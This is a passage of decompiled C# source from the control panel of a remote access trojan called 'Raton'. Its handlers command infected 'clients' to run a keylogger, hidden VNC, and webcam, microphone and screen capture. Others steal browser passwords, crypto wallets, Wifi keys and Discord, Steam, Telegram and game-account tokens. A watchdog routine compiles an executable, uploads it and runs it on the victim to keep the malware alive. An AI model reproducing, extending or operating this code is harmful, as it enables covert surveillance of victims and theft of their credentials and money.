ratonClipboard ratonClipboard = new ratonClipboard();
ratonClipboard.Name = str + selectedClient.uid;
ratonClipboard.Text = str + selectedClient.uid;
ratonClipboard.SillyClient = selectedClient;
ratonClipboard.Show();
this.Command("GetClipboard");
}
}
}
private void DeviceManager_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Device manager | Client ID: ";
if ((ratonDevice) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonDevice ratonDevice = new ratonDevice();
ratonDevice.Name = str + selectedClient.uid;
ratonDevice.Text = str + selectedClient.uid;
ratonDevice.SillyClient = selectedClient;
ratonDevice.Show();
}
if (this.IsUser())
{
int num = (int) Messenger.MessageBox("Device manager is on read only mode (User)");
}
}
}
private void FileManager_Click(object s, RoutedEventArgs e)
{
Pack pack = new Pack();
pack.SetString("Packet", "Manager");
pack.SetString("Action", "Drives");
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "File Manager | Client ID: ";
if ((ratonFIleManager) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonFIleManager ratonFileManager = new ratonFIleManager();
ratonFileManager.Name = str + selectedClient.uid;
ratonFileManager.Text = str + selectedClient.uid;
ratonFileManager.SillyClient = selectedClient;
ratonFileManager.Show();
selectedClient.Send(pack.Pacc());
}
}
}
private void Rdp_Click(object s, RoutedEventArgs e)
{
this.checkLogs();
this.Command("RDP");
}
private void Gps_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Geo | Client ID: ";
if ((ratonGPS) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonGPS ratonGps = new ratonGPS();
ratonGps.Name = str + selectedClient.uid;
ratonGps.Text = str + selectedClient.uid;
ratonGps.SillyClient = selectedClient;
ratonGps.Show();
this.Command("Geo");
}
}
}
private void Hvnc_Click(object s, RoutedEventArgs e)
{
Pack pack = new Pack();
pack.SetString("Packet", "HVNC");
pack.SetInt("Action", 0);
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "HVNC | Client ID: ";
if ((ratonHVNC) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonHVNC ratonHvnc = new ratonHVNC();
ratonHvnc.Name = str + selectedClient.uid;
ratonHvnc.Text = str + selectedClient.uid;
ratonHvnc.SillyClient = selectedClient;
ratonHvnc.Show();
selectedClient.Send(pack.Pacc());
}
}
}
private void ProgramManager_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Process manager | Client ID: ";
if ((ratonProcess) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonProcess ratonProcess = new ratonProcess();
ratonProcess.Name = str + selectedClient.uid;
ratonProcess.Text = str + selectedClient.uid;
ratonProcess.SillyClient = selectedClient;
ratonProcess.Show();
Pack pack = new Pack();
pack.SetString("Packet", "ProcessSpy");
pack.SetString("Command", "List");
selectedClient.Send(pack.Pacc());
}
}
}
private void Keylogger_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Keylogger | Client ID: ";
if ((ratonKeylogger) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonKeylogger ratonKeylogger = new ratonKeylogger();
ratonKeylogger.Name = str + selectedClient.uid;
ratonKeylogger.Text = str + selectedClient.uid;
ratonKeylogger.SillyClient = selectedClient;
ratonKeylogger.Show();
this.Command("Keylogger");
}
}
}
private void Microphone_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Microphone | Client ID: ";
if ((ratonMicrophone) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonMicrophone ratonMicrophone = new ratonMicrophone();
ratonMicrophone.Name = str + selectedClient.uid;
ratonMicrophone.Text = str + selectedClient.uid;
ratonMicrophone.SillyClient = selectedClient;
ratonMicrophone.Show();
}
}
}
private void Registry_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Registry | Client ID: ";
if ((ratonReg) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonReg ratonReg = new ratonReg();
ratonReg.Name = str + selectedClient.uid;
ratonReg.Text = str + selectedClient.uid;
ratonReg.SillyClient = selectedClient;
ratonReg.Perms = selectedClient.ClientModel.Running;
ratonReg.Show();
}
if (this.IsUser())
{
int num = (int) Messenger.MessageBox("Registry is on read only mode (User)");
}
Pack pack = new Pack();
pack.SetString("Packet", "RegistryRequest");
pack.SetString("Action", "GetRoots");
selectedClient.Send(pack.Pacc());
}
}
private void RemoteDesktop_Click(object s, RoutedEventArgs e)
{
Pack pack = new Pack();
pack.SetString("Packet", "RemoteDesktop");
pack.SetString("Command", "Screens");
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Remote desktop | Client ID: ";
if ((ratonDesktop) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonDesktop ratonDesktop = new ratonDesktop();
ratonDesktop.Name = str + selectedClient.uid;
ratonDesktop.Text = str + selectedClient.uid;
ratonDesktop.SillyClient = selectedClient;
ratonDesktop.Show();
selectedClient.Send(pack.Pacc());
}
}
}
private void RemoteChat_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str1 = "Chat | Client ID: ";
if ((ratonChat) System.Windows.Forms.Application.OpenForms[str1 + selectedClient.uid] == null)
{
ratonChat ratonChat1 = new ratonChat();
ratonChat1.Name = str1 + selectedClient.uid;
ratonChat1.Text = str1 + selectedClient.uid;
ratonChat1.SillyClient = selectedClient;
ratonChat1.Username = this.user;
ratonChat ratonChat2 = ratonChat1;
string path1 = System.IO.Path.Combine(Program.appData);
string[] strArray = new string[5]
{
".jpg",
".jpeg",
".png",
".bmp",
".gif"
};
string filename = (string) null;
foreach (string str2 in strArray)
{
string path = System.IO.Path.Combine(path1, "pfp" + str2);
if (File.Exists(path))
{
filename = path;
break;
}
}
if (filename != null)
{
System.Drawing.Image image = System.Drawing.Image.FromFile(filename);
ratonChat2.imageList1.Images.Add(image);
}
else
ratonChat2.imageList1.Images.Add((System.Drawing.Image) Raton.Properties.Resources.uservro);
ratonChat2.Show();
this.Command("Chat");
}
}
}
private void ReportWindow_Click(object s, RoutedEventArgs e)
{
using (inputDialog inputDialog = new inputDialog())
{
inputDialog.Text = "Report Window";
inputDialog.label1.Text = "Enter the process name (DO NOT ENTER .EXE)";
if (inputDialog.ShowDialog() != System.Windows.Forms.DialogResult.OK)
return;
string text = inputDialog.textBox1.Text;
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
Pack pack = new Pack();
pack.SetString("Packet", "Report");
pack.SetString("Name", text);
selectedClient.Send(pack.Pacc());
this.checkLogs();
}
}
}
private void ReportWindow2_Click(object s, RoutedEventArgs e)
{
this.Command("StopReport");
this.checkLogs();
}
private void Services_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Services | Client ID: ";
if ((ratonServices) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonServices ratonServices = new ratonServices();
ratonServices.Name = str + selectedClient.uid;
ratonServices.Text = str + selectedClient.uid;
ratonServices.SillyClient = selectedClient;
ratonServices.Show();
}
}
}
private void Startup_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Run in startup | Client ID: ";
if ((ratonUpload) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonUpload ratonUpload = new ratonUpload();
ratonUpload.Name = str + selectedClient.uid;
ratonUpload.Text = str + selectedClient.uid;
ratonUpload.SillyClient = selectedClient;
ratonUpload.isStartup = true;
ratonUpload.Show();
}
}
}
private void SysInfo_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Client information | Client ID: ";
if ((ratonInformation) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonInformation ratonInformation = new ratonInformation();
ratonInformation.Name = str + selectedClient.uid;
ratonInformation.Text = str + selectedClient.uid;
ratonInformation.SillyClient = selectedClient;
ratonInformation.Show();
this.Command("Clientinfo");
}
}
}
private void SystemSound_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "System Audio | Client ID: ";
if ((ratonSystemRecording) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonSystemRecording ratonSystemRecording = new ratonSystemRecording();
ratonSystemRecording.Name = str + selectedClient.uid;
ratonSystemRecording.Text = str + selectedClient.uid;
ratonSystemRecording.SillyClient = selectedClient;
ratonSystemRecording.Show();
}
}
}
private void PortManager_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Port spy | Client ID: ";
if ((ratonPorts) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonPorts ratonPorts = new ratonPorts();
ratonPorts.Name = str + selectedClient.uid;
ratonPorts.Text = str + selectedClient.uid;
ratonPorts.SillyClient = selectedClient;
ratonPorts.Show();
this.Command("PortSpy");
}
}
}
private void ProcessManager_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Process manager | Client ID: ";
if ((ratonProcess) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonProcess ratonProcess = new ratonProcess();
ratonProcess.Name = str + selectedClient.uid;
ratonProcess.Text = str + selectedClient.uid;
ratonProcess.SillyClient = selectedClient;
ratonProcess.Show();
Pack pack = new Pack();
pack.SetString("Packet", "ProcessSpy");
pack.SetString("Command", "List");
selectedClient.Send(pack.Pacc());
}
}
}
private void Watchdog_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient1 in this.GetSelectedClients())
{
SillyClient selectedClient = selectedClient1;
string newValue = selectedClient.ClientModel.Payload;
if (newValue.EndsWith(".exe", StringComparison.OrdinalIgnoreCase))
newValue = newValue.Substring(0, newValue.Length - 4);
string path = System.IO.Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Tools", "Watchdog", "watchdog.cs");
if (!File.Exists(path))
{
int num = (int) Messenger.MessageBox("Why u deleted my watch.cs");
break;
}
string str = File.ReadAllText(path).Replace("pname", newValue);
string outputExe = System.IO.Path.Combine(System.IO.Path.GetTempPath(), "wd.exe");
CSharpCodeProvider csharpCodeProvider = new CSharpCodeProvider();
CompilerParameters options = new CompilerParameters()
{
GenerateExecutable = true,
OutputAssembly = outputExe,
CompilerOptions = "/target:winexe"
};
options.ReferencedAssemblies.Add("System.dll");
options.ReferencedAssemblies.Add("System.Core.dll");
CompilerResults compilerResults = csharpCodeProvider.CompileAssemblyFromSource(options, str);
if (compilerResults.Errors.HasErrors)
{
StringBuilder stringBuilder = new StringBuilder();
foreach (CompilerError error in (CollectionBase) compilerResults.Errors)
stringBuilder.AppendLine(error.ToString());
int num = (int) Messenger.MessageBox("Compilation error:\n" + stringBuilder.ToString());
break;
}
string Duid = "Watchdog_" + Helpers.Random(7);
long fileSize = new FileInfo(outputExe).Length;
string fileName = System.IO.Path.GetFileName(outputExe);
ratonFIle fileForm = (ratonFIle) System.Windows.Forms.Application.OpenForms["File ID: " + Duid];
if (fileForm == null)
{
ratonFIle ratonFile = new ratonFIle();
ratonFile.Name = "File ID: " + Duid;
ratonFile.Text = "File ID: " + Duid;
ratonFile.SillyClient = selectedClient;
ratonFile.UID = selectedClient.uid;
ratonFile.FileName = fileName;
ratonFile.FileSize = fileSize;
fileForm = ratonFile;
fileForm.lblName.Text = "Watchdog";
fileForm.lblSize.Text = "20kb";
fileForm.Show();
}
Task.Run((Action) (() =>
{
int num1 = 1;
if (fileSize < 1048576L /*0x100000*/)
{
Pack pack = new Pack();
pack.SetString("Packet", "Upload");
pack.SetBool("isCompleted", false);
pack.SetString("TempName", Helpers.MD5_STRING(Encoding.UTF8.GetBytes(fileName + Duid + num1.ToString())));
pack.Set("FileBytes", File.ReadAllBytes(outputExe));
selectedClient.Send(pack.Pacc());
fileForm.TotalFileSize += fileSize;
}
else
{
using (Stream stream = (Stream) File.OpenRead(outputExe))
{
byte[] buffer = new byte[1048576 /*0x100000*/];
long length = fileSize;
int num2;
while ((num2 = stream.Read(buffer, 0, buffer.Length)) > 0)
{
if (selectedClient.isConnected())
{
Pack pack = new Pack();
pack.SetString("Packet", "Upload");
pack.SetBool("isCompleted", false);
pack.SetString("TempName", Helpers.MD5_STRING(Encoding.UTF8.GetBytes(fileName + Duid + num1++.ToString())));
pack.Set("FileBytes", buffer);
selectedClient.Send(pack.Pacc());
fileForm.TotalFileSize += (long) num2;
length -= (long) num2;
if (length < 1048576L /*0x100000*/)
buffer = new byte[length];
}
else
break;
}
}
}
Pack pack1 = new Pack();
pack1.SetString("Packet", "Upload");
pack1.SetString("DUID", Duid);
pack1.SetBool("isCompleted", true);
pack1.SetString("FileName", fileName);
pack1.SetLong("FileSize", fileSize);
pack1.SetString("FilePath", "TempClient");
pack1.SetBool("Execute", true);
pack1.SetInt("TempCount", num1);
selectedClient.Send(pack1.Pacc());
File.Delete(outputExe);
System.Windows.Application.Current.Dispatcher.Invoke((Action) (() =>
{
fileForm.flatProgressBar1.Value = 100;
fileForm.lblPorcent.Text = "100%";
fileForm.timer2.Stop();
fileForm.Status("Watchdog uploaded :)");
}));
}));
}
}
private void Webcam_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Webcam | Client ID: ";
if ((ratonWebcam) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonWebcam ratonWebcam = new ratonWebcam();
ratonWebcam.Name = str + selectedClient.uid;
ratonWebcam.Text = str + selectedClient.uid;
ratonWebcam.SillyClient = selectedClient;
ratonWebcam.Show();
this.Command("GetWebcams");
}
}
}
private void WindowManager_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Windows manager | Client ID: ";
if ((ratonWindows) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonWindows ratonWindows = new ratonWindows();
ratonWindows.Name = str + selectedClient.uid;
ratonWindows.Text = str + selectedClient.uid;
ratonWindows.SillyClient = selectedClient;
ratonWindows.Show();
Pack pack = new Pack();
pack.SetString("Packet", "ProcessSpy");
pack.SetString("Command", "List");
selectedClient.Send(pack.Pacc());
}
}
}
private void AnyDesk_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Anydesk | Client ID: ";
if ((ratonAnyDesk) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonAnyDesk ratonAnyDesk = new ratonAnyDesk();
ratonAnyDesk.Name = str + selectedClient.uid;
ratonAnyDesk.Text = str + selectedClient.uid;
ratonAnyDesk.SillyClient = selectedClient;
ratonAnyDesk.Show();
}
this.Command("Anydesk");
}
}
private void Xbox_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Xbox | Client ID: ";
if ((ratonXbox) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonXbox ratonXbox = new ratonXbox();
ratonXbox.Name = str + selectedClient.uid;
ratonXbox.Text = str + selectedClient.uid;
ratonXbox.SillyClient = selectedClient;
ratonXbox.Show();
}
this.Command("Xbox");
}
}
private void Chromium_Click(object s, RoutedEventArgs e)
{
this.checkLogs();
this.Command("GetPassword");
}
private void Crypto_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Crypto | Client ID: ";
if ((ratonCrypto) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonCrypto ratonCrypto = new ratonCrypto();
ratonCrypto.Name = str + selectedClient.uid;
ratonCrypto.Text = str + selectedClient.uid;
ratonCrypto.SillyClient = selectedClient;
ratonCrypto.Show();
this.Command("Crypto");
}
}
}
private void Discord_Click(object s, RoutedEventArgs e)
{
this.checkLogs();
this.Command("Discord");
}
private void Epic_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Epic | Client ID: ";
if ((ratonEpic) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonEpic ratonEpic = new ratonEpic();
ratonEpic.Name = str + selectedClient.uid;
ratonEpic.Text = str + selectedClient.uid;
ratonEpic.SillyClient = selectedClient;
ratonEpic.Show();
this.Command("Epic");
}
}
}
private void Firefox_Click(object s, RoutedEventArgs e)
{
this.checkLogs();
this.Command("Firefox");
}
private void Minecraft_Click(object s, RoutedEventArgs e)
{
this.checkLogs();
this.Command("Minecraft");
}
private void Mullvad_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Mullvad | Client ID: ";
if ((ratonMullvad) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonMullvad ratonMullvad = new ratonMullvad();
ratonMullvad.Name = str + selectedClient.uid;
ratonMullvad.Text = str + selectedClient.uid;
ratonMullvad.SillyClient = selectedClient;
ratonMullvad.Show();
this.Command("Mullvad");
}
}
}
private void Telegram_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Telegram | Client ID: ";
if ((ratonTelegram) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonTelegram ratonTelegram = new ratonTelegram();
ratonTelegram.Name = str + selectedClient.uid;
ratonTelegram.Text = str + selectedClient.uid;
ratonTelegram.SillyClient = selectedClient;
ratonTelegram.Show();
}
this.Command("Telegram");
}
}
private void Riot_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Riot | Client ID: ";
if ((ratonRiot) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonRiot ratonRiot = new ratonRiot();
ratonRiot.Name = str + selectedClient.uid;
ratonRiot.Text = str + selectedClient.uid;
ratonRiot.SillyClient = selectedClient;
ratonRiot.Show();
}
this.Command("Riot");
}
}
private void Roblox_Click(object s, RoutedEventArgs e)
{
this.checkLogs();
this.Command("Roblox");
}
private void Steam_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Steam | Client ID: ";
if ((ratonSteam) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonSteam ratonSteam = new ratonSteam();
ratonSteam.Name = str + selectedClient.uid;
ratonSteam.Text = str + selectedClient.uid;
ratonSteam.SillyClient = selectedClient;
ratonSteam.Show();
this.Command("Steam");
}
}
}
private void Wifi_Click(object s, RoutedEventArgs e)
{
foreach (SillyClient selectedClient in this.GetSelectedClients())
{
string str = "Wifi | Client ID: ";
if ((ratonWifi) System.Windows.Forms.Application.OpenForms[str + selectedClient.uid] == null)
{
ratonWifi ratonWifi = new ratonWifi();
ratonWifi.Name = str + selectedClient.uid;
ratonWifi.Text = str + selectedClient.uid;
ratonWifi.SillyClient = selectedClient;
ratonWifi.Show();
this.Command("Wifi");
}
}
}
private void SwitchTo(string view)
{
if (this._switching)
return;
Grid grid1;
switch (view)
{
case "Clients":
grid1 = this.ClientsView;
break;
case "Logs":
grid1 = this.LogsView;
break;
case "Screens":
grid1 = this.ScreensView;
break;
default:
grid1 = this.WorldView;
break;
}
Grid incoming = grid1;
if (incoming.Visibility == Visibility.Visible)
return;
this._switching = true;
Grid outgoing = (Grid) null;
Grid[] gridArray = new Grid[4]
{
this.ClientsView,
this.LogsView,
this.WorldView,
this.ScreensView
};
foreach (Grid grid2 in gridArray)
{
if (grid2.Visibility == Visibility.Visible)
{
outgoing = grid2;
break;
}
}
if (outgoing == null)
{
incoming.Visibility = Visibility.Visible;
this._switching = false;
}
else
{
CubicEase cubicEase1 = new CubicEase();
cubicEase1.EasingMode = EasingMode.EaseIn;
CubicEase cubicEase2 = cubicEase1;
CubicEase cubicEase3 = new CubicEase();
cubicEase3.EasingMode = EasingMode.EaseOut;
CubicEase easeOut = cubicEase3;
System.Windows.Duration duration = new System.Windows.Duration(TimeSpan.FromMilliseconds(130.0));
System.Windows.Duration inDur = new System.Windows.Duration(TimeSpan.FromMilliseconds(190.0));
DoubleAnimation animation1 = new DoubleAnimation(1.0, 0.0, duration)
{
EasingFunction = (IEasingFunction) cubicEase2
};
DoubleAnimation animation2 = new DoubleAnimation(0.0, -10.0, duration)
{
EasingFunction = (IEasingFunction) cubicEase2
};
animation1.Completed += (EventHandler) ((s, ev) =>
{
outgoing.Visibility = Visibility.Collapsed;
outgoing.Opacity = 1.0;
((TranslateTransform) outgoing.RenderTransform).Y = 0.0;
incoming.Opacity = 0.0;
((TranslateTransform) incoming.RenderTransform).Y = 12.0;
incoming.Visibility = Visibility.Visible;
DoubleAnimation animation3 = new DoubleAnimation(0.0, 1.0, inDur)
{
EasingFunction = (IEasingFunction) easeOut
};
DoubleAnimation animation4 = new DoubleAnimation(12.0, 0.0, inDur)
{
EasingFunction = (IEasingFunction) easeOut
};
animation4.Completed += (EventHandler) ((s2, e2) => this._switching = false);
incoming.BeginAnimation(UIElement.OpacityProperty, (AnimationTimeline) animation3);
incoming.RenderTransform.BeginAnimation(TranslateTransform.YProperty, (AnimationTimeline) animation4);
});
outgoing.BeginAnimation(UIElement.OpacityProperty, (AnimationTimeline) animation1);
outgoing.RenderTransform.BeginAnimation(TranslateTransform.YProperty, (AnimationTimeline) animation2);
bool flag1 = view == "Clients";
bool flag2 = view == "Logs";
bool flag3 = view == "World";
bool flag4 = view == "Screens";
this.NavClientsIcon.Style = (Style) this.FindResource(flag1 ? (object) "NavIconActive" : (object) "NavIcon");
this.NavClientsLabel.Style = (Style) this.FindResource(flag1 ? (object) "NavLabelActive" : (object) "NavLabel");
this.NavLogsIcon.Style = (Style) this.FindResource(flag2 ? (object) "NavIconActive" : (object) "NavIcon");
this.NavLogsLabel.Style = (Style) this.FindResource(flag2 ? (object) "NavLabelActive" : (object) "NavLabel");
this.NavWorldIcon.Style = (Style) this.FindResource(flag3 ? (object) "NavIconActive" : (object) "NavIcon");
this.NavWorldLabel.Style = (Style) this.FindResource(flag3 ? (object) "NavLabelActive" : (object) "NavLabel");
this.NavScreensIcon.Style = (Style) this.FindResource(flag4 ? (object) "NavIconActive" : (object) "NavIcon");
this.NavScreensLabel.Style = (Style) this.FindResource(flag4 ? (object) "NavLabelActive" : (object) "NavLabel");
}
}
public void AddScreen(byte[] imageBytes, string uid)
{
if (imageBytes == null || imageBytes.Length == 0 || string.IsNullOrEmpty(uid))
return;
this.Dispatch((Action) (() =>
{
try
{
if (this.ScreensEmptyState != null)
this.ScreensEmptyState.Visibility = Visibility.Collapsed;
BitmapImage bitmapImage = new BitmapImage();
bitmapImage.BeginInit();
bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
bitmapImage.StreamSource = (Stream) new MemoryStream(imageBytes);
bitmapImage.DecodePixelWidth = 200;
bitmapImage.DecodePixelHeight = 200;
bitmapImage.EndInit();
bitmapImage.Freeze();
Border tile = new Border()
{
Width = 200.0,
Height = 200.0,
Margin = new Thickness(8.0),
CornerRadius = new CornerRadius(6.0),
Background = (System.Windows.Media.Brush) new SolidColorBrush(System.Windows.Media.Color.FromRgb((byte) 38, (byte) 38, (byte) 38)),
Cursor = System.Windows.Input.Cursors.Hand,
RenderTransformOrigin = new System.Windows.Point(0.5, 0.5),
RenderTransform = (Transform) new ScaleTransform(1.0, 1.0),
Clip = (System.Windows.Media.Geometry) new RectangleGeometry(new Rect(0.0, 0.0, 200.0, 200.0), 6.0, 6.0),
Tag = (object) new ScreenTile()
{
Uid = uid,
ImageBytes = imageBytes
},
Effect = (Effect) new DropShadowEffect()
{
Color = Colors.Black,
BlurRadius = 12.0,
ShadowDepth = 2.0,
Opacity = 0.4
}
};
tile.MouseEnter += (System.Windows.Input.MouseEventHandler) ((s, e) =>
{
ScaleTransform renderTransform = (ScaleTransform) ((UIElement) s).RenderTransform;
ScaleTransform scaleTransform5 = renderTransform;
DependencyProperty scaleXproperty = ScaleTransform.ScaleXProperty;
scaleTransform5.BeginAnimation(scaleXproperty, (AnimationTimeline) new DoubleAnimation(1.04, new System.Windows.Duration(TimeSpan.FromMilliseconds(150.0)))
{
EasingFunction = (IEasingFunction) new CubicEase()
{
EasingMode = EasingMode.EaseOut
}
});
ScaleTransform scaleTransform6 = renderTransform;
DependencyProperty scaleYproperty = ScaleTransform.ScaleYProperty;
scaleTransform6.BeginAnimation(scaleYproperty, (AnimationTimeline) new DoubleAnimation(1.04, new System.Windows.Duration(TimeSpan.FromMilliseconds(150.0)))
{
EasingFunction = (IEasingFunction) new CubicEase()
{
EasingMode = EasingMode.EaseOut
}
});
});
tile.MouseLeave += (System.Windows.Input.MouseEventHandler) ((s, e) =>
{
ScaleTransform renderTransform = (ScaleTransform) ((UIElement) s).RenderTransform;
ScaleTransform scaleTransform7 = renderTransform;
DependencyProperty scaleXproperty = ScaleTransform.ScaleXProperty;
scaleTransform7.BeginAnimation(scaleXproperty, (AnimationTimeline) new DoubleAnimation(1.0, new System.Windows.Duration(TimeSpan.FromMilliseconds(180.0)))
{
EasingFunction = (IEasingFunction) new CubicEase()
{
EasingMode = EasingMode.EaseOut
}
});
ScaleTransform scaleTransform8 = renderTransform;
DependencyProperty scaleYproperty = ScaleTransform.ScaleYProperty;
scaleTransform8.BeginAnimation(scaleYproperty, (AnimationTimeline) new DoubleAnimation(1.0, new System.Windows.Duration(TimeSpan.FromMilliseconds(180.0)))
{
EasingFunction = (IEasingFunction) new CubicEase()
{
EasingMode = EasingMode.EaseOut
}
});
});
Grid grid = new Grid();
UIElementCollection children = grid.Children;
children.Add((UIElement) new System.Windows.Controls.Image()
{
Source = (ImageSource) bitmapImage,
Stretch = Stretch.UniformToFill,
Width = 200.0,
Height = 200.0
});
Border element1 = new Border()
{
VerticalAlignment = VerticalAlignment.Bottom,
Background = (System.Windows.Media.Brush) new SolidColorBrush(System.Windows.Media.Color.FromArgb((byte) 180, (byte) 0, (byte) 0, (byte) 0)),
Padding = new Thickness(6.0, 3.0, 6.0, 4.0)
};
element1.Child = (UIElement) new TextBlock()
{
Text = uid,
Foreground = (System.Windows.Media.Brush) System.Windows.Media.Brushes.White,
FontSize = 10.0,
FontFamily = new System.Windows.Media.FontFamily("Consolas"),
TextTrimming = TextTrimming.CharacterEllipsis,
TextAlignment = TextAlignment.Left
};
grid.Children.Add((UIElement) element1);
Border element2 = new Border()
{
HorizontalAlignment = System.Windows.HorizontalAlignment.Right,
VerticalAlignment = VerticalAlignment.Top,
Background = (System.Windows.Media.Brush) new SolidColorBrush(System.Windows.Media.Color.FromArgb((byte) 160 /*0xA0*/, (byte) 0, (byte) 0, (byte) 0)),
CornerRadius = new CornerRadius(0.0, 6.0, 0.0, 4.0),
Padding = new Thickness(5.0, 2.0, 5.0, 2.0)
};
element2.Child = (UIElement) new TextBlock()
{
Text = DateTime.Now.ToString("HH:mm:ss"),
Foreground = (System.Windows.Media.Brush) new SolidColorBrush(System.Windows.Media.Color.FromRgb((byte) 136, (byte) 136, (byte) 136)),
FontSize = 9.0,
FontFamily = new System.Windows.Media.FontFamily("Consolas"),
TextAlignment = TextAlignment.Right
};
grid.Children.Add((UIElement) element2);
tile.Child = (UIElement) grid;
System.Windows.Controls.ContextMenu contextMenu = new System.Windows.Controls.ContextMenu();
System.Windows.Controls.MenuItem newItem1 = new System.Windows.Controls.MenuItem()
{
Header = (object) "Save image"
};
newItem1.Icon = (object) MainWindow.MakeMenuIcon("\uE74E");
newItem1.Click += (RoutedEventHandler) ((s, e) => this.ScreenTileSave(tile));
System.Windows.Controls.MenuItem newItem2 = new System.Windows.Controls.MenuItem()
{
Header = (object) "Copy UID"
};
newItem2.Icon = (object) MainWindow.MakeMenuIcon("\uE8C8");
newItem2.Click += (RoutedEventHandler) ((s, e) =>
{
if (!(tile.Tag is ScreenTile tag2))
return;
System.Windows.Clipboard.SetText(tag2.Uid);
});
System.Windows.Controls.MenuItem newItem3 = new System.Windows.Controls.MenuItem()
{
Header = (object) "Remove"
};
newItem3.Icon = (object) MainWindow.MakeMenuIcon("\uE74D", new System.Windows.Media.Color?(System.Windows.Media.Color.FromRgb((byte) 239, (byte) 83, (byte) 80 /*0x50*/)));
newItem3.Click += (RoutedEventHandler) ((s, e) =>
{
if (this.ScreensPanel != null)
this.ScreensPanel.Children.Remove((UIElement) tile);
this.UpdateScreenCount();
});
contextMenu.Items.Add((object) newItem1);
contextMenu.Items.Add((object) newItem2);
contextMenu.Items.Add((object) new Separator());
contextMenu.Items.Add((object) newItem3);
tile.ContextMenu = contextMenu;
tile.Opacity = 0.0;
if (this.ScreensPanel != null)
{
this.ScreensPanel.Children.Add((UIElement) tile);
Border border = tile;
DependencyProperty opacityProperty = UIElement.OpacityProperty;
border.BeginAnimation(opacityProperty, (AnimationTimeline) new DoubleAnimation(0.0, 1.0, new System.Windows.Duration(TimeSpan.FromMilliseconds(250.0)))
{
EasingFunction = (IEasingFunction) new CubicEase()
{
EasingMode = EasingMode.EaseOut
}
});
}
this.UpdateScreenCount();
}
catch (Exception ex)
{
this.AddErrorLog((object) ("Screen render error: " + ex.Message));
}
}));
}
private static TextBlock MakeMenuIcon(string glyph, System.Windows.Media.Color? color = null)
{
TextBlock textBlock = new TextBlock();
textBlock.Text = glyph;
textBlock.FontFamily = new System.Windows.Media.FontFamily("Segoe MDL2 Assets");
